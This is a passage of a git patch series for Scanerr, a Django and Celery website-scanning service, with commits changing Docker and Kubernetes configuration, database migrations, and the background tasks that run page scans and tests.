+    volumes:
+      - ./app:/app
+    command: >
+      sh -c "python3 manage.py wait_for_db &&
+             python3 manage.py makemigrations  --no-input &&
+             python3 manage.py migrate --no-input &&
+             python3 manage.py collectstatic --no-input &&
+             python3 manage.py create_admin &&
+             python3 manage.py driver_s_test &&
+             python3 manage.py driver_p_test && 
+             python3 manage.py runserver 0.0.0.0:8000"
+    env_file:
+      - ./env/.env.stage
+  
+  redis:
+    image: redis:alpine
+    ports:
+      - "6379"
+  
+  celery:
+    privileged: true
+    restart: always
+    build:
+      context: .
+      dockerfile: Dockerfile
+    # image: landonr/scanerr-server
+    command: celery -A scanerr worker --beat --scheduler django --loglevel=info
+    volumes:
+      - ./app:/scanerr
+    env_file:
+      - ./env/.env.stage
+    depends_on:
+      - redis
+      - app
+
+volumes:
+  pgdata:
diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index c53aa1fa..42928bfd 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -109,7 +109,7 @@ kubectl port-forward service/app-service 8000:8000
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-pvc.yaml`
+<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-pvc.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-autoscaler.yaml`
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 821ced0c..5e213d38 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -44,13 +44,13 @@ spec:
             requests:
               cpu: "1"
               memory: "1Gi"
-          volumeMounts:
-           - mountPath: "/app/api/migrations"
-             name: app-volume
-      volumes:
-        - name: app-volume
-          persistentVolumeClaim:
-           claimName: app-pvc
+      #     volumeMounts:
+      #      - mountPath: "/app/api/migrations"
+      #        name: app-volume
+      # volumes:
+      #   - name: app-volume
+      #     persistentVolumeClaim:
+      #      claimName: app-pvc
 
 ---
 

From 2c6aeeb0e4e7f81995eb3d8a6e65c62001b651ba Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 21:34:14 -0500
Subject: [PATCH 0060/1099] testing

---
 app/api/migrations/0001_initial.py         |  2 +-
 app/api/migrations/0002_page_time_crawl.py | 18 ++++++++++++++++++
 app/api/models.py                          |  1 +
 k8s/kubernetes-notes.md                    | 10 +++++++++-
 4 files changed, 29 insertions(+), 2 deletions(-)
 create mode 100644 app/api/migrations/0002_page_time_crawl.py

diff --git a/app/api/migrations/0001_initial.py b/app/api/migrations/0001_initial.py
index aa1ee92a..15c7b4d9 100644
--- a/app/api/migrations/0001_initial.py
+++ b/app/api/migrations/0001_initial.py
@@ -1,4 +1,4 @@
-# Generated by Django 3.2.3 on 2023-07-27 01:50
+# Generated by Django 3.2.3 on 2023-07-27 02:28
 
 import api.models
 import datetime
diff --git a/app/api/migrations/0002_page_time_crawl.py b/app/api/migrations/0002_page_time_crawl.py
new file mode 100644
index 00000000..9de5f98a
--- /dev/null
+++ b/app/api/migrations/0002_page_time_crawl.py
@@ -0,0 +1,18 @@
+# Generated by Django 3.2.3 on 2023-07-27 02:32
+
+from django.db import migrations, models
+
+
+class Migration(migrations.Migration):
+
+    dependencies = [
+        ('api', '0001_initial'),
+    ]
+
+    operations = [
+        migrations.AddField(
+            model_name='page',
+            name='time_crawl',
+            field=models.DateTimeField(blank=True, null=True),
+        ),
+    ]
diff --git a/app/api/models.py b/app/api/models.py
index 9fe19340..939965e7 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -335,6 +335,7 @@ class Page(models.Model):
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
+    time_crawl = models.DateTimeField(serialize=True, null=True, blank=True)
 
     def __str__(self):
         return f'{self.page_url}'
diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 42928bfd..6625052e 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -106,10 +106,10 @@ kubectl port-forward service/app-service 8000:8000
 
 
 ### 4. Spin up Scanerr deployments and services
+<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-pvc.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
-<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-pvc.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-autoscaler.yaml`
@@ -138,3 +138,11 @@ kubectl port-forward service/app-service 8000:8000
    - `kubectl delete certificate <cert-name>`
    - `kubectl delete secret <sec-name>` ... may have to do this in the k8s dashboard
 
+
+
+---
+
+## Migration Notes for DB:
+1. Ensure state is where you want it to be (i.e. local migration files are what you expect) or delete any new migration files that were generated during development
+2. Spinup staging env locally
+3. Push new migration changes to github
\ No newline at end of file

From 66bb8820a861667d5f4bb842d052ff713979ada8 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 21:51:42 -0500
Subject: [PATCH 0061/1099] model updates

---
 app/api/migrations/0001_initial.py         | 267 ---------------------
 app/api/migrations/0002_page_time_crawl.py |  18 --
 app/api/models.py                          |   1 -
 3 files changed, 286 deletions(-)
 delete mode 100644 app/api/migrations/0001_initial.py
 delete mode 100644 app/api/migrations/0002_page_time_crawl.py

diff --git a/app/api/migrations/0001_initial.py b/app/api/migrations/0001_initial.py
deleted file mode 100644
index 15c7b4d9..00000000
--- a/app/api/migrations/0001_initial.py
+++ /dev/null
@@ -1,267 +0,0 @@
-# Generated by Django 3.2.3 on 2023-07-27 02:28
-
-import api.models
-import datetime
-from django.conf import settings
-from django.db import migrations, models
-import django.db.models.deletion
-import django.utils.timezone
-import uuid
-
-
-class Migration(migrations.Migration):
-
-    initial = True
-
-    dependencies = [
-        migrations.swappable_dependency(settings.AUTH_USER_MODEL),
-    ]
-
-    operations = [
-        migrations.CreateModel(
-            name='Account',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('name', models.CharField(blank=True, max_length=1000, null=True)),
-                ('active', models.BooleanField(default=False)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('type', models.CharField(blank=True, default='free', max_length=1000, null=True)),
-                ('code', models.CharField(blank=True, max_length=1000, null=True)),
-                ('max_sites', models.IntegerField(blank=True, default=1, null=True)),
-                ('max_pages', models.IntegerField(blank=True, default=25, null=True)),
-                ('cust_id', models.CharField(blank=True, max_length=1000, null=True)),
-                ('sub_id', models.CharField(blank=True, max_length=1000, null=True)),
-                ('product_id', models.CharField(blank=True, max_length=1000, null=True)),
-                ('price_id', models.CharField(blank=True, max_length=1000, null=True)),
-                ('price_amount', models.IntegerField(blank=True, default=0, null=True)),
-                ('slack', models.JSONField(blank=True, default=api.models.get_slack_default, null=True)),
-                ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Automation',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('name', models.CharField(blank=True, max_length=1000, null=True)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('expressions', models.JSONField(blank=True, default=api.models.get_expressions_default, null=True)),
-                ('actions', models.JSONField(blank=True, default=api.models.get_actions_default, null=True)),
-                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Case',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('name', models.CharField(blank=True, max_length=1000, null=True)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('steps', models.JSONField(blank=True, default=api.models.get_steps_default, null=True)),
-                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
-                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
-                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Mask',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('active', models.BooleanField(default=True)),
-                ('mask_id', models.CharField(blank=True, max_length=1000, null=True)),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Page',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('page_url', models.CharField(blank=True, max_length=1000, null=True)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('info', models.JSONField(blank=True, default=api.models.get_info_default, null=True)),
-                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
-                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Scan',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('type', models.JSONField(blank=True, null=True)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('time_completed', models.DateTimeField(blank=True, null=True)),
-                ('html', models.TextField(blank=True, null=True)),
-                ('logs', models.JSONField(blank=True, null=True)),
-                ('images', models.JSONField(blank=True, null=True)),
-                ('lighthouse', models.JSONField(blank=True, default=api.models.get_lh_default, null=True)),
-                ('yellowlab', models.JSONField(blank=True, default=api.models.get_yl_default, null=True)),
-                ('configs', models.JSONField(blank=True, null=True)),
-                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
-                ('page', models.ForeignKey(blank=True, on_delete=django.db.models.deletion.CASCADE, to='api.page')),
-                ('paired_scan', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='api.scan')),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Site',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('site_url', models.CharField(blank=True, max_length=1000, null=True)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('time_crawl_started', models.DateTimeField(blank=True, null=True)),
-                ('time_crawl_completed', models.DateTimeField(blank=True, null=True)),
-                ('info', models.JSONField(blank=True, default=api.models.get_small_info_default, null=True)),
-                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
-                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
-                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL)),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Testcase',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('case_name', models.CharField(blank=True, max_length=1000, null=True)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('time_completed', models.DateTimeField(blank=True, null=True)),
-                ('passed', models.BooleanField(default=False)),
-                ('steps', models.JSONField(blank=True, null=True)),
-                ('configs', models.JSONField(blank=True, null=True)),
-                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
-                ('case', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.case')),
-                ('site', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.site')),
-                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL)),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Test',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('time_completed', models.DateTimeField(blank=True, null=True)),
-                ('type', models.JSONField(blank=True, null=True)),
-                ('score', models.FloatField(blank=True, null=True)),
-                ('component_scores', models.JSONField(blank=True, default=api.models.get_scores_default, null=True)),
-                ('html_delta', models.JSONField(blank=True, null=True)),
-                ('logs_delta', models.JSONField(blank=True, null=True)),
-                ('lighthouse_delta', models.JSONField(blank=True, default=api.models.get_lh_delta_default, null=True)),
-                ('yellowlab_delta', models.JSONField(blank=True, default=api.models.get_yl_delta_default, null=True)),
-                ('images_delta', models.JSONField(blank=True, null=True)),
-                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
-                ('pre_scan_configs', models.JSONField(blank=True, null=True)),
-                ('post_scan_configs', models.JSONField(blank=True, null=True)),
-                ('page', models.ForeignKey(blank=True, on_delete=django.db.models.deletion.CASCADE, to='api.page')),
-                ('post_scan', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='post_scan', to='api.scan')),
-                ('pre_scan', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='pre_scan', to='api.scan')),
-                ('site', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.site')),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Schedule',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('time_created', models.DateTimeField(blank=True, default=datetime.datetime.now, null=True)),
-                ('task_type', models.CharField(default='test', max_length=100)),
-                ('timezone', models.CharField(blank=True, max_length=100, null=True)),
-                ('begin_date', models.DateTimeField(default=datetime.datetime.now)),
-                ('time', models.CharField(blank=True, max_length=100, null=True)),
-                ('frequency', models.CharField(default='monthly', max_length=100)),
-                ('task', models.CharField(blank=True, max_length=500, null=True)),
-                ('crontab_id', models.CharField(blank=True, max_length=500, null=True)),
-                ('periodic_task_id', models.CharField(blank=True, max_length=500, null=True)),
-                ('status', models.CharField(blank=True, default='Active', max_length=100, null=True)),
-                ('extras', models.JSONField(blank=True, null=True)),
-                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
-                ('automation', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='assoc_auto', to='api.automation')),
-                ('page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.page')),
-                ('site', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.site')),
-                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
-            ],
-        ),
-        migrations.AddField(
-            model_name='scan',
-            name='site',
-            field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.CASCADE, to='api.site'),
-        ),
-        migrations.CreateModel(
-            name='Report',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('path', models.CharField(blank=True, max_length=1000, null=True)),
-                ('type', models.JSONField(blank=True, null=True)),
-                ('info', models.JSONField(blank=True, null=True)),
-                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
-                ('page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.page')),
-                ('site', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.site')),
-                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Process',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('type', models.CharField(blank=True, max_length=1000, null=True)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('time_completed', models.DateTimeField(blank=True, null=True)),
-                ('successful', models.BooleanField(default=False)),
-                ('info_url', models.CharField(blank=True, max_length=1000, null=True)),
-                ('progress', models.FloatField(blank=True, null=True)),
-                ('site', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.site')),
-            ],
-        ),
-        migrations.AddField(
-            model_name='page',
-            name='site',
-            field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.CASCADE, to='api.site'),
-        ),
-        migrations.AddField(
-            model_name='page',
-            name='user',
-            field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL),
-        ),
-        migrations.CreateModel(
-            name='Member',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('email', models.CharField(blank=True, max_length=1000, null=True)),
-                ('status', models.CharField(blank=True, max_length=1000, null=True)),
-                ('type', models.CharField(blank=True, max_length=1000, null=True)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('account', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.account')),
-                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Log',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('path', models.CharField(blank=True, max_length=1000, null=True)),
-                ('request_type', models.CharField(blank=True, max_length=1000, null=True)),
-                ('status', models.CharField(blank=True, max_length=1000, null=True)),
-                ('request_payload', models.JSONField(blank=True, null=True)),
-                ('response_payload', models.JSONField(blank=True, null=True)),
-                ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Card',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('pay_method_id', models.CharField(blank=True, max_length=1000, null=True)),
-                ('brand', models.CharField(blank=True, max_length=1000, null=True)),
-                ('exp_month', models.CharField(blank=True, max_length=1000, null=True)),
-                ('exp_year', models.CharField(blank=True, max_length=1000, null=True)),
-                ('last_four', models.CharField(blank=True, max_length=1000, null=True)),
-                ('account', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.account')),
-                ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
-            ],
-        ),
-        migrations.AddField(
-            model_name='automation',
-            name='schedule',
-            field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='assoc_sch', to='api.schedule'),
-        ),
-        migrations.AddField(
-            model_name='automation',
-            name='user',
-            field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL),
-        ),
-    ]
diff --git a/app/api/migrations/0002_page_time_crawl.py b/app/api/migrations/0002_page_time_crawl.py
deleted file mode 100644
index 9de5f98a..00000000
--- a/app/api/migrations/0002_page_time_crawl.py
+++ /dev/null
@@ -1,18 +0,0 @@
-# Generated by Django 3.2.3 on 2023-07-27 02:32
-
-from django.db import migrations, models
-
-
-class Migration(migrations.Migration):
-
-    dependencies = [
-        ('api', '0001_initial'),
-    ]
-
-    operations = [
-        migrations.AddField(
-            model_name='page',
-            name='time_crawl',
-            field=models.DateTimeField(blank=True, null=True),
-        ),
-    ]
diff --git a/app/api/models.py b/app/api/models.py
index 939965e7..9fe19340 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -335,7 +335,6 @@ class Page(models.Model):
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
-    time_crawl = models.DateTimeField(serialize=True, null=True, blank=True)
 
     def __str__(self):
         return f'{self.page_url}'

From 0eec4ce4e4383d4b7775ea29d716de9126c4bb91 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 22:22:48 -0500
Subject: [PATCH 0062/1099] fixing import bug

---
 app/api/tasks.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 85b46e47..97c02e88 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -4,6 +4,7 @@
 from celery import shared_task
 from celery import Task as BaseTask
 from .utils.crawler import Crawler
+from .utils.scanner import Scanner as S
 from .v1.ops.tasks import (
     create_site_task, create_scan_task, run_html_and_logs_task,
     run_vrt_task, run_lighthouse_task, run_yellowlab_task, 

From 81b190f9935766b2fcc9b5fe89e8f1599ad44322 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 27 Jul 2023 13:06:06 -0500
Subject: [PATCH 0063/1099] fixed test bug

---
 app/api/tasks.py | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 97c02e88..23859262 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -280,10 +280,16 @@ def _create_test(
     created_test.pre_scan = pre_scan
     created_test.post_scan = post_scan
     created_test.save()
+    
+    # run tests
+    test = T(test=created_test).run_test(index=index)
+    if automation_id:
+        automation(automation_id, test.id)
     logger.info('Created new test of page')
 
 
 
+
 @shared_task
 def create_test_bg(*args, **kwargs):
     # get data
@@ -294,6 +300,8 @@ def create_test_bg(*args, **kwargs):
     configs = kwargs.get('configs')
     tags = kwargs.get('tags')
     automation_id = kwargs.get('automation_id')
+    pre_scan = kwargs.get('pre_scan')
+    post_scan = kwargs.get('post_scan')
 
     if test_id is None:
         if site_id is not None:
@@ -309,6 +317,8 @@ def create_test_bg(*args, **kwargs):
                 type=type,
                 configs=configs,
                 tags=tags,
+                pre_scan=pre_scan,
+                post_scan=post_scan,
                 automation_id=automation_id
             )
     
@@ -320,6 +330,8 @@ def create_test_bg(*args, **kwargs):
             type=type,
             configs=configs,
             tags=tags,
+            pre_scan=pre_scan,
+            post_scan=post_scan,
             automation_id=automation_id
         )
 

From d9e560888e17c7183ca23944bcf7fc9eeef86d82 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 27 Jul 2023 16:03:08 -0500
Subject: [PATCH 0064/1099] fixed additional tester bug

---
 app/api/tasks.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 23859262..042893ee 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -5,6 +5,7 @@
 from celery import Task as BaseTask
 from .utils.crawler import Crawler
 from .utils.scanner import Scanner as S
+from .utils.tester import Tester as T
 from .v1.ops.tasks import (
     create_site_task, create_scan_task, run_html_and_logs_task,
     run_vrt_task, run_lighthouse_task, run_yellowlab_task, 

From da52808c26cbf7830f9b1857b5e5a195bb469df3 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 27 Jul 2023 17:55:29 -0500
Subject: [PATCH 0065/1099] decreased max celery replicas to 15

---
 k8s/prod/celery-autoscaler.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index fd908062..d2939968 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -7,7 +7,7 @@ spec:
     name: celery-deployment
   pollingInterval: 3
   minReplicaCount: 2
-  maxReplicaCount: 30
+  maxReplicaCount: 15
   triggers:
     - type: redis
       metadata:

From 712a457e67d9daa8e2a085e936f6fe08a581261c Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 27 Jul 2023 22:41:58 -0500
Subject: [PATCH 0066/1099] new "_full" page image scan & parallel testing

---
 app/api/tasks.py           |  67 +++++--
 app/api/utils/driver_p.py  |   1 +
 app/api/utils/driver_s.py  |   3 +-
 app/api/utils/image.py     | 398 ++++++++++++++++++++++++++++++++-----
 app/api/utils/scanner.py   |   4 +-
 app/api/v1/ops/services.py |   2 +
 6 files changed, 411 insertions(+), 64 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 042893ee..75433165 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -19,7 +19,7 @@
 from .utils.driver_p import driver_test
 from .v1.auth.alerts import send_invite_link, send_remove_alert
 from asgiref.sync import async_to_sync
-import asyncio, boto3
+import asyncio, boto3, time
 from datetime import datetime, timedelta, date
 from scanerr import settings
 
@@ -150,7 +150,7 @@ def scan_page_bg(scan_id=None, configs=None, *args, **kwargs):
     if 'vrt' in scan.type or 'full' in scan.type:
         run_vrt_bg.delay(scan_id=scan.id)
 
-    logger.info('Added site and all pages')
+    logger.info('created new Scan of Page')
 
 
 
@@ -210,19 +210,16 @@ def run_html_and_logs_bg(scan_id=None, *args, **kwargs):
     run_html_and_logs_task(scan_id)
     logger.info('ran html & logs component')
 
-
 @shared_task
 def run_vrt_bg(scan_id=None, *args, **kwargs):
     run_vrt_task(scan_id)
     logger.info('ran vrt component')
 
-
 @shared_task
 def run_lighthouse_bg(scan_id=None, *args, **kwargs):
     run_lighthouse_task(scan_id)
     logger.info('ran lighthouse component')
 
-
 @shared_task
 def run_yellowlab_bg(scan_id=None, *args, **kwargs):
     run_yellowlab_task(scan_id)
@@ -231,6 +228,37 @@ def run_yellowlab_bg(scan_id=None, *args, **kwargs):
 
 
 
+@shared_task
+def run_test(test_id, *args, **kwargs):
+    automation_id = kwargs.get('automation_id')
+    test = Test.objects.get(id=test_id)
+    T(test=test).run_test()
+
+    test = T(test=test).run_test()
+    if automation_id:
+        automation(automation_id, test.id)
+    logger.info('Test completed')
+
+
+@shared_task
+def check_scan_for_test(test_id=None, max_wait_time=500, *args, **kwargs):
+    automation_id = kwargs.get('automation_id')
+    test = Test.objects.get(id=test_id)
+    post_scan_id = test.post_scan.id
+
+    current_time = 0
+    while current_time < max_wait_time:
+        post_scan = Scan.objects.get(id=post_scan_id)
+        time.sleep(5)
+        if post_scan.time_completed is not None:
+           run_test.delay(test_id=test.id, automation_id=automation_id)
+           current_time += 500
+
+        current_time += 5
+
+    logger.info('Scan complete, begining Test')
+
+
 @shared_task
 def _create_test(
         test_id=None,
@@ -262,13 +290,21 @@ def _create_test(
     if post_scan is not None:
         post_scan = Scan.objects.get(id=post_scan)
 
-    if post_scan is None and pre_scan is not None:
-        post_scan = S(site=page.site, page=page, scan=pre_scan, configs=configs, type=type).second_scan()
+    if post_scan is None or pre_scan is None:
+        if pre_scan is None:
+            pre_scan = Scan.objects.filter(page=page).order_by('-time_completed')[0]
+        post_scan = Scan.objects.create(
+            site=page.site,
+            page=page,
+            tags=tags, 
+            type=type,
+            configs=configs,
+        )
+        scan_page_bg.delay(
+            scan_id=post_scan.id, 
+            configs=configs,
+        )
         
-    if pre_scan is None and post_scan is None:
-        new_scan = S(site=page.site, page=page, configs=configs, type=type)
-        post_scan = new_scan.second_scan()
-        pre_scan = post_scan.paired_scan
 
     # updating parired scans
     pre_scan.paired_scan = post_scan
@@ -282,11 +318,10 @@ def _create_test(
     created_test.post_scan = post_scan
     created_test.save()
     
-    # run tests
-    test = T(test=created_test).run_test(index=index)
-    if automation_id:
-        automation(automation_id, test.id)
-    logger.info('Created new test of page')
+    # monitor post_scan and run test after completion
+    check_scan_for_test.delay(test_id=created_test.id, automation_id=automation_id)
+    
+    logger.info('Began Scan/Test process')
 
 
 
diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index c9ccce82..a2cf4247 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -15,6 +15,7 @@ async def driver_init(
         'args': [
             '--no-sandbox', 
             '--disable-dev-shm-usage',
+            '--force-device-scale-factor=1',
             f'--window-size={window_size}',
         ],
         'defaultViewport': {
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 582c3b0e..9b041471 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -38,7 +38,8 @@ def driver_init(
     options.add_argument("start-maximized")
     options.add_argument("--headless")
     options.add_argument("--disable-dev-shm-usage")
